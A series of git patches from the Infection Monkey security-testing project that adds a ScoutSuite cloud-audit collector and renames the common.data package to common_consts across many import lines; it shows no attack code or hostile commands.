From 4c0321ab9384d0e9f4aa81afb048a293c9251243 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 26 Jan 2020 18:47:46 +0200 Subject: [PATCH 001/466] Added collector and submodule --- .gitmodules | 3 +++ .../common/data/system_info_collectors_names.py | 1 + .../system_info/collectors/scoutsuite | 1 + .../collectors/scoutsuite_collector.py | 16 ++++++++++++++++ 4 files changed, 21 insertions(+) create mode 100644 .gitmodules create mode 160000 monkey/infection_monkey/system_info/collectors/scoutsuite create mode 100644 monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 000000000..bcb7399ee --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "monkey/infection_monkey/system_info/collectors/scoutsuite"] + path = monkey/infection_monkey/system_info/collectors/scoutsuite + url = git@github.com:ShayNehmad/ScoutSuite.git diff --git a/monkey/common/data/system_info_collectors_names.py b/monkey/common/data/system_info_collectors_names.py index 831bbe142..ad8a3fd74 100644 --- a/monkey/common/data/system_info_collectors_names.py +++ b/monkey/common/data/system_info_collectors_names.py @@ -2,3 +2,4 @@ AWS_COLLECTOR = "AwsCollector" HOSTNAME_COLLECTOR = "HostnameCollector" ENVIRONMENT_COLLECTOR = "EnvironmentCollector" PROCESS_LIST_COLLECTOR = "ProcessListCollector" +SCOUTSUITE_COLLECTOR = "ScoutSuiteCollector" diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite b/monkey/infection_monkey/system_info/collectors/scoutsuite new file mode 160000 index 000000000..e784fc27a --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite @@ -0,0 +1 @@ +Subproject commit e784fc27ae8311c3c610bccd556d2bef3cd54d63 diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py new file mode 100644 index 000000000..6645290f5 --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py @@ -0,0 +1,16 @@ +import logging + +from common.data.system_info_collectors_names import SCOUTSUITE_COLLECTOR +from infection_monkey.system_info.system_info_collector import SystemInfoCollector +from infection_monkey.system_info.collectors.scoutsuite.ScoutSuite.__main__ import run + +logger = logging.getLogger(__name__) + + +class HostnameCollector(SystemInfoCollector): + def __init__(self): + super().__init__(name=SCOUTSUITE_COLLECTOR) + + def collect(self) -> dict: + + return {} From a0db78502090bd95b5a75f7c4baee7db53c105fb Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 27 Jan 2020 12:25:12 +0200 Subject: [PATCH 002/466] Update .gitmodules --- .gitmodules | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.gitmodules b/.gitmodules index bcb7399ee..61ec3dae5 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,3 @@ [submodule "monkey/infection_monkey/system_info/collectors/scoutsuite"] path = monkey/infection_monkey/system_info/collectors/scoutsuite - url = git@github.com:ShayNehmad/ScoutSuite.git + url = https://github.com/ShayNehmad/ScoutSuite.git From 87f90b36f084a308820b9665e1c3b1b2eea5a93b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 27 Jan 2020 14:28:52 +0200 Subject: [PATCH 003/466] Excluding scoutsuite from flake8 --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 6abeb59b1..cb51083e4 100644 --- a/.travis.yml +++ b/.travis.yml @@ -24,7 +24,7 @@ before_script: script: # Check Python code # Check syntax errors and fail the build if any are found. -- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics +- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics --exclude=monkey/infection_monkey/system_info/collectors/scoutsuite # Warn about linter issues. # --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build. From a26b9114ef0deec3eb0e8aa0ffb118dca94010bc Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 27 Jan 2020 14:28:57 +0200 Subject: [PATCH 004/466] Update scoutsuite_collector.py --- .../system_info/collectors/scoutsuite_collector.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py index 6645290f5..fdf7ce6fa 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py @@ -1,16 +1,23 @@ import logging +from common.cloud.environment_names import Environment from common.data.system_info_collectors_names import SCOUTSUITE_COLLECTOR from infection_monkey.system_info.system_info_collector import SystemInfoCollector from infection_monkey.system_info.collectors.scoutsuite.ScoutSuite.__main__ import run +from system_info.collectors.environment_collector import get_monkey_environment logger = logging.getLogger(__name__) -class HostnameCollector(SystemInfoCollector): +class ScoutSuiteCollector(SystemInfoCollector): def __init__(self): super().__init__(name=SCOUTSUITE_COLLECTOR) def collect(self) -> dict: - + env = get_monkey_environment() + if env == Environment.ON_PREMISE.value: + logger.info("Monkey is not on cloud; not running ScoutSuite") + else: + logger.info(f"Attempting to execute ScoutSuite with {env.lower()}") + run(env.lower(), debug=True, quiet=False) return {} From f49089aed306f1ee155f922110f08fc93c5b804d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 27 Jan 2020 14:46:39 +0200 Subject: [PATCH 005/466] Added basic framework for running scoutsuite --- .travis.yml | 1 + .../collectors/scoutsuite_collector.py | 8 ++++++-- monkey/monkey_island/cc/services/config_schema.py | 15 ++++++++++++--- .../system_info_collectors/scoutsuite.py | 9 +++++++++ .../system_info_telemetry_dispatcher.py | 6 ++++-- 5 files changed, 32 insertions(+), 7 deletions(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py diff --git a/.travis.yml b/.travis.yml index cb51083e4..b83e12eb4 100644 --- a/.travis.yml +++ b/.travis.yml @@ -16,6 +16,7 @@ install: - pip install -r monkey/monkey_island/requirements.txt # for unit tests - pip install flake8 pytest dlint # for next stages - pip install -r monkey/infection_monkey/requirements.txt # for unit tests +- pip install -r monkey/infection_monkey/system_info/collectors/scoutsuite/requirements.txt before_script: # Set the server config to `testing`. This is required for for the UTs to pass. diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py index fdf7ce6fa..38c6d7c0f 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py @@ -17,7 +17,11 @@ class ScoutSuiteCollector(SystemInfoCollector): env = get_monkey_environment() if env == Environment.ON_PREMISE.value: logger.info("Monkey is not on cloud; not running ScoutSuite") + return {} else: logger.info(f"Attempting to execute ScoutSuite with {env.lower()}") - run(env.lower(), debug=True, quiet=False) - return {} + scout_suite_results = run(env.lower(), debug=True, quiet=False) + return { + "Environment": env, + "Results": scout_suite_results + } diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 3d0220ee2..59cd97686 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -1,5 +1,5 @@ from common.data.system_info_collectors_names \ - import AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR + import AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR, SCOUTSUITE_COLLECTOR WARNING_SIGN = " \u26A0" @@ -130,7 +130,7 @@ SCHEMA = { "title": "Collect the machine's hostname", "attack_techniques": [] }, -{ + { "type": "string", "enum": [ PROCESS_LIST_COLLECTOR @@ -138,6 +138,14 @@ SCHEMA = { "title": "Collect running processes on the machine", "attack_techniques": [] }, + { + "type": "string", + "enum": [ + SCOUTSUITE_COLLECTOR + ], + "title": "If on cloud, execute ScoutSuite and collect its results", + "attack_techniques": [] + }, ], }, "post_breach_acts": { @@ -485,7 +493,8 @@ SCHEMA = { ENVIRONMENT_COLLECTOR, AWS_COLLECTOR, HOSTNAME_COLLECTOR, - PROCESS_LIST_COLLECTOR + PROCESS_LIST_COLLECTOR, + SCOUTSUITE_COLLECTOR ], "description": "Determines which system information collectors will collect information." }, diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py new file mode 100644 index 000000000..85d053e47 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py @@ -0,0 +1,9 @@ +import logging +import json + +logger = logging.getLogger(__name__) + + +def process_scout_suite_telemetry(collector_results, monkey_guid): + # Monkey.get_single_monkey_by_guid(monkey_guid).set_hostname(collector_results["hostname"]) + logger.info(f"\n\n{json.dumps(collector_results, indent=2)}\n{monkey_guid}") diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index b5f2d24ea..1c651501d 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -2,10 +2,11 @@ import logging import typing from common.data.system_info_collectors_names \ - import AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR + import AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR, SCOUTSUITE_COLLECTOR from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import process_environment_telemetry from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry +from monkey_island.cc.services.telemetry.processing.system_info_collectors.scoutsuite import process_scout_suite_telemetry from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence logger = logging.getLogger(__name__) @@ -14,7 +15,8 @@ SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { AWS_COLLECTOR: [process_aws_telemetry], ENVIRONMENT_COLLECTOR: [process_environment_telemetry], HOSTNAME_COLLECTOR: [process_hostname_telemetry], - PROCESS_LIST_COLLECTOR: [test_antivirus_existence] + PROCESS_LIST_COLLECTOR: [test_antivirus_existence], + SCOUTSUITE_COLLECTOR: [process_scout_suite_telemetry] } From b8b015e84e83ed3f2863e068a6b47b23cdd7235f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 27 Jan 2020 14:59:31 +0200 Subject: [PATCH 006/466] Update .travis.yml --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index b83e12eb4..7435a721e 100644 --- a/.travis.yml +++ b/.travis.yml @@ -32,7 +32,7 @@ script: # --count will print the total number of errors. # --statistics Count the number of occurrences of each error/warning code and print a report. # The output is redirected to a file. -- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics > flake8_warnings.txt +- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=monkey/infection_monkey/system_info/collectors/scoutsuite > flake8_warnings.txt # Display the linter issues - cat flake8_warnings.txt # Make sure that we haven't increased the amount of warnings. From b5f8fbe9f0ddd68792dd958674783582c862fe91 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 4 Feb 2020 14:39:38 +0200 Subject: [PATCH 007/466] WIP --- ...tsuite_collector.py => scout_suite_collector.py} | 13 +++++++++++-- .../processing/system_info_collectors/scoutsuite.py | 2 +- 2 files changed, 12 insertions(+), 3 deletions(-) rename monkey/infection_monkey/system_info/collectors/{scoutsuite_collector.py => scout_suite_collector.py} (74%) diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scout_suite_collector.py similarity index 74% rename from monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py rename to monkey/infection_monkey/system_info/collectors/scout_suite_collector.py index 38c6d7c0f..09adf94e4 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scout_suite_collector.py @@ -1,4 +1,5 @@ import logging +import tempfile from common.cloud.environment_names import Environment from common.data.system_info_collectors_names import SCOUTSUITE_COLLECTOR @@ -15,12 +16,20 @@ class ScoutSuiteCollector(SystemInfoCollector): def collect(self) -> dict: env = get_monkey_environment() + env = "AWS" if env == Environment.ON_PREMISE.value: logger.info("Monkey is not on cloud; not running ScoutSuite") return {} else: - logger.info(f"Attempting to execute ScoutSuite with {env.lower()}") - scout_suite_results = run(env.lower(), debug=True, quiet=False) + tmp_dir_path = tempfile.mkdtemp() + logger.info(f"Attempting to execute ScoutSuite with {env.lower()}, saving results in {tmp_dir_path}") + + scout_suite_results = run( + env.lower(), + debug=True, + quiet=False, + no_browser=True, + report_dir=tmp_dir_path) return { "Environment": env, "Results": scout_suite_results diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py index 85d053e47..c0a2517f2 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py @@ -6,4 +6,4 @@ logger = logging.getLogger(__name__) def process_scout_suite_telemetry(collector_results, monkey_guid): # Monkey.get_single_monkey_by_guid(monkey_guid).set_hostname(collector_results["hostname"]) - logger.info(f"\n\n{json.dumps(collector_results, indent=2)}\n{monkey_guid}") + logger.info(f"ScoutSuite results:\n{json.dumps(collector_results, indent=2)}") From a365d2eb3cffeac02f8144e59691c3f21ba2c6ac Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 3 Sep 2020 12:06:20 +0300 Subject: [PATCH 008/466] Exported telem categories into dict, moved scoutsuite submodule to a different dir --- .gitmodules | 2 +- .../{data => common_consts}/__init__.py | 0 .../{data => common_consts}/api_url_consts.py | 0 .../{data => common_consts}/network_consts.py | 0 .../post_breach_consts.py | 0 .../system_info_collectors_names.py | 0 .../common/common_consts/telem_categories.py | 9 +++++ .../validation_formats.py | 0 .../zero_trust_consts.py | 0 monkey/infection_monkey/control.py | 2 +- .../infection_monkey/exploit/elasticgroovy.py | 2 +- .../infection_monkey/network/elasticfinger.py | 2 +- .../post_breach/actions/add_user.py | 2 +- .../actions/change_file_privileges.py | 2 +- .../actions/clear_command_history.py | 2 +- .../actions/communicate_as_new_user.py | 2 +- .../post_breach/actions/discover_accounts.py | 2 +- .../post_breach/actions/hide_files.py | 2 +- .../actions/modify_shell_startup_files.py | 2 +- .../post_breach/actions/schedule_jobs.py | 2 +- .../post_breach/actions/use_signed_scripts.py | 2 +- .../post_breach/actions/use_trap_command.py | 2 +- .../post_breach/actions/users_custom_pba.py | 2 +- .../infection_monkey/system_info/__init__.py | 2 +- .../system_info/collectors/aws_collector.py | 2 +- .../collectors/environment_collector.py | 2 +- .../collectors/hostname_collector.py | 2 +- .../collectors/process_list_collector.py | 2 +- .../collectors/scout_suite_collector.py | 36 ------------------- .../system_info/collectors/scoutsuite | 1 - .../scoutsuite_collector/__init__.py | 0 .../scoutsuite_collector/scoutsuite | 1 + .../system_info/windows_info_collector.py | 2 +- .../telemetry/exploit_telem.py | 3 +- .../telemetry/post_breach_telem.py | 3 +- .../infection_monkey/telemetry/scan_telem.py | 3 +- .../infection_monkey/telemetry/state_telem.py | 3 +- .../telemetry/system_info_telem.py | 3 +- .../infection_monkey/telemetry/trace_telem.py | 3 +- .../telemetry/tunnel_telem.py | 3 +- monkey/monkey_island/cc/app.py | 2 +- .../cc/models/zero_trust/aggregate_finding.py | 2 +- .../cc/models/zero_trust/event.py | 2 +- .../cc/models/zero_trust/finding.py | 2 +- .../models/zero_trust/segmentation_finding.py | 2 +- .../zero_trust/test_aggregate_finding.py | 2 +- .../cc/models/zero_trust/test_event.py | 2 +- .../cc/models/zero_trust/test_finding.py | 2 +- .../zero_trust/test_segmentation_finding.py | 2 +- .../monkey_island/cc/resources/telemetry.py | 3 +- .../cc/resources/telemetry_feed.py | 15 ++++---- .../attack/technique_reports/T1053.py | 2 +- .../attack/technique_reports/T1087.py | 2 +- .../attack/technique_reports/T1136.py | 2 +- .../attack/technique_reports/T1146.py | 2 +- .../attack/technique_reports/T1154.py | 2 +- .../attack/technique_reports/T1156.py | 2 +- .../attack/technique_reports/T1158.py | 2 +- .../attack/technique_reports/T1166.py | 2 +- .../attack/technique_reports/T1168.py | 2 +- .../attack/technique_reports/T1216.py | 2 +- .../attack/technique_reports/T1504.py | 2 +- .../services/config_schema/basic_network.py | 2 +- .../system_info_collector_classes.py | 12 +++---- .../cc/services/config_schema/monkey.py | 12 +++---- .../reporting/test_zero_trust_service.py | 2 +- .../services/reporting/zero_trust_service.py | 2 +- .../telemetry/processing/post_breach.py | 2 +- .../system_info_telemetry_dispatcher.py | 10 +++--- .../zero_trust_tests/antivirus_existence.py | 2 +- .../communicate_as_new_user.py | 2 +- .../zero_trust_tests/data_endpoints.py | 4 +-- .../zero_trust_tests/machine_exploited.py | 2 +- .../zero_trust_tests/segmentation.py | 2 +- .../test_segmentation_zt_tests.py | 2 +- .../telemetry/zero_trust_tests/tunneling.py | 2 +- 76 files changed, 104 insertions(+), 122 deletions(-) rename monkey/common/{data => common_consts}/__init__.py (100%) rename monkey/common/{data => common_consts}/api_url_consts.py (100%) rename monkey/common/{data => common_consts}/network_consts.py (100%) rename monkey/common/{data => common_consts}/post_breach_consts.py (100%) rename monkey/common/{data => common_consts}/system_info_collectors_names.py (100%) create mode 100644 monkey/common/common_consts/telem_categories.py rename monkey/common/{data => common_consts}/validation_formats.py (100%) rename monkey/common/{data => common_consts}/zero_trust_consts.py (100%) delete mode 100644 monkey/infection_monkey/system_info/collectors/scout_suite_collector.py delete mode 160000 monkey/infection_monkey/system_info/collectors/scoutsuite create mode 100644 monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py create mode 160000 monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite diff --git a/.gitmodules b/.gitmodules index df2805df9..6f784049d 100644 --- a/.gitmodules +++ b/.gitmodules @@ -5,5 +5,5 @@ path = docs/themes/learn url = https://github.com/guardicode/hugo-theme-learn.git [submodule "monkey/infection_monkey/system_info/collectors/scoutsuite"] - path = monkey/infection_monkey/system_info/collectors/scoutsuite + path = monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite url = https://github.com/ShayNehmad/ScoutSuite.git diff --git a/monkey/common/data/__init__.py b/monkey/common/common_consts/__init__.py similarity index 100% rename from monkey/common/data/__init__.py rename to monkey/common/common_consts/__init__.py diff --git a/monkey/common/data/api_url_consts.py b/monkey/common/common_consts/api_url_consts.py similarity index 100% rename from monkey/common/data/api_url_consts.py rename to monkey/common/common_consts/api_url_consts.py diff --git a/monkey/common/data/network_consts.py b/monkey/common/common_consts/network_consts.py similarity index 100% rename from monkey/common/data/network_consts.py rename to monkey/common/common_consts/network_consts.py diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/common_consts/post_breach_consts.py similarity index 100% rename from monkey/common/data/post_breach_consts.py rename to monkey/common/common_consts/post_breach_consts.py diff --git a/monkey/common/data/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py similarity index 100% rename from monkey/common/data/system_info_collectors_names.py rename to monkey/common/common_consts/system_info_collectors_names.py diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py new file mode 100644 index 000000000..c983786b9 --- /dev/null +++ b/monkey/common/common_consts/telem_categories.py @@ -0,0 +1,9 @@ +class TelemCategoryEnum: + EXPLOIT = 'exploit' + POST_BREACH = 'post_breach' + SCAN = 'scan' + SCOUTSUITE = 'scoutsuite' + STATE = 'state' + SYSTEM_INFO = 'system_info' + TRACE = 'trace' + TUNNEL = 'tunnel' diff --git a/monkey/common/data/validation_formats.py b/monkey/common/common_consts/validation_formats.py similarity index 100% rename from monkey/common/data/validation_formats.py rename to monkey/common/common_consts/validation_formats.py diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py similarity index 100% rename from monkey/common/data/zero_trust_consts.py rename to monkey/common/common_consts/zero_trust_consts.py diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 35922286f..912514b8c 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel -from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH +from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from infection_monkey.config import GUID, WormConfiguration from infection_monkey.network.info import check_internet_access, local_ips from infection_monkey.transport.http import HTTPConnectProxy diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index fff71024d..026ccfdbd 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -10,7 +10,7 @@ import re import requests -from common.data.network_consts import ES_SERVICE +from common.common_consts.network_consts import ES_SERVICE from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index 5ba95ab93..e7a60be17 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -6,7 +6,7 @@ import requests from requests.exceptions import ConnectionError, Timeout import infection_monkey.config -from common.data.network_consts import ES_SERVICE +from common.common_consts.network_consts import ES_SERVICE from infection_monkey.network.HostFinger import HostFinger ES_PORT = 9200 diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 58be89a1f..a85845840 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER +from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.config import WormConfiguration from infection_monkey.post_breach.pba import PBA from infection_monkey.utils.users import get_commands_to_add_user diff --git a/monkey/infection_monkey/post_breach/actions/change_file_privileges.py b/monkey/infection_monkey/post_breach/actions/change_file_privileges.py index 1cf5813e3..69f8f34da 100644 --- a/monkey/infection_monkey/post_breach/actions/change_file_privileges.py +++ b/monkey/infection_monkey/post_breach/actions/change_file_privileges.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_SETUID_SETGID +from common.common_consts.post_breach_consts import POST_BREACH_SETUID_SETGID from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.setuid_setgid.setuid_setgid import \ get_commands_to_change_setuid_setgid diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index afd26996f..d1fd63537 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -1,6 +1,6 @@ import subprocess -from common.data.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY +from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY from infection_monkey.post_breach.clear_command_history.clear_command_history import \ get_commands_to_clear_command_history from infection_monkey.post_breach.pba import PBA diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 83065d20d..bc00c9479 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -3,7 +3,7 @@ import random import string import subprocess -from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.auto_new_user_factory import create_auto_new_user diff --git a/monkey/infection_monkey/post_breach/actions/discover_accounts.py b/monkey/infection_monkey/post_breach/actions/discover_accounts.py index 8eaab9e38..18d72e642 100644 --- a/monkey/infection_monkey/post_breach/actions/discover_accounts.py +++ b/monkey/infection_monkey/post_breach/actions/discover_accounts.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY +from common.common_consts.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY from infection_monkey.post_breach.account_discovery.account_discovery import \ get_commands_to_discover_accounts from infection_monkey.post_breach.pba import PBA diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index 081a18598..3a8c7860d 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_HIDDEN_FILES +from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index e12e0c446..b6111904d 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -1,6 +1,6 @@ import subprocess -from common.data.post_breach_consts import \ +from common.common_consts.post_breach_consts import \ POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import \ diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index d6cdd2765..f5faaa25d 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_JOB_SCHEDULING +from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING from infection_monkey.post_breach.job_scheduling.job_scheduling import ( get_commands_to_schedule_jobs, remove_scheduled_jobs) from infection_monkey.post_breach.pba import PBA diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index 17eb86337..ed9f665f0 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -1,7 +1,7 @@ import logging import subprocess -from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC +from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import ( cleanup_changes, get_commands_to_proxy_execution_using_signed_script) diff --git a/monkey/infection_monkey/post_breach/actions/use_trap_command.py b/monkey/infection_monkey/post_breach/actions/use_trap_command.py index 589baf1d9..9a29b7fa8 100644 --- a/monkey/infection_monkey/post_breach/actions/use_trap_command.py +++ b/monkey/infection_monkey/post_breach/actions/use_trap_command.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_TRAP_COMMAND +from common.common_consts.post_breach_consts import POST_BREACH_TRAP_COMMAND from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.trap_command.trap_command import \ get_trap_commands diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 46f09a688..175d6b215 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -1,7 +1,7 @@ import logging import os -from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION +from common.common_consts.post_breach_consts import POST_BREACH_FILE_EXECUTION from common.utils.attack_utils import ScanStatus from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 05bb3a4d0..452f1bcdd 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -4,7 +4,7 @@ from enum import IntEnum import psutil -from common.data.system_info_collectors_names import AZURE_CRED_COLLECTOR +from common.common_consts.system_info_collectors_names import AZURE_CRED_COLLECTOR from infection_monkey.network.info import get_host_subnets from infection_monkey.system_info.azure_cred_collector import AzureCollector from infection_monkey.system_info.netstat_collector import NetstatCollector diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py index bdf470735..d31dc1ba6 100644 --- a/monkey/infection_monkey/system_info/collectors/aws_collector.py +++ 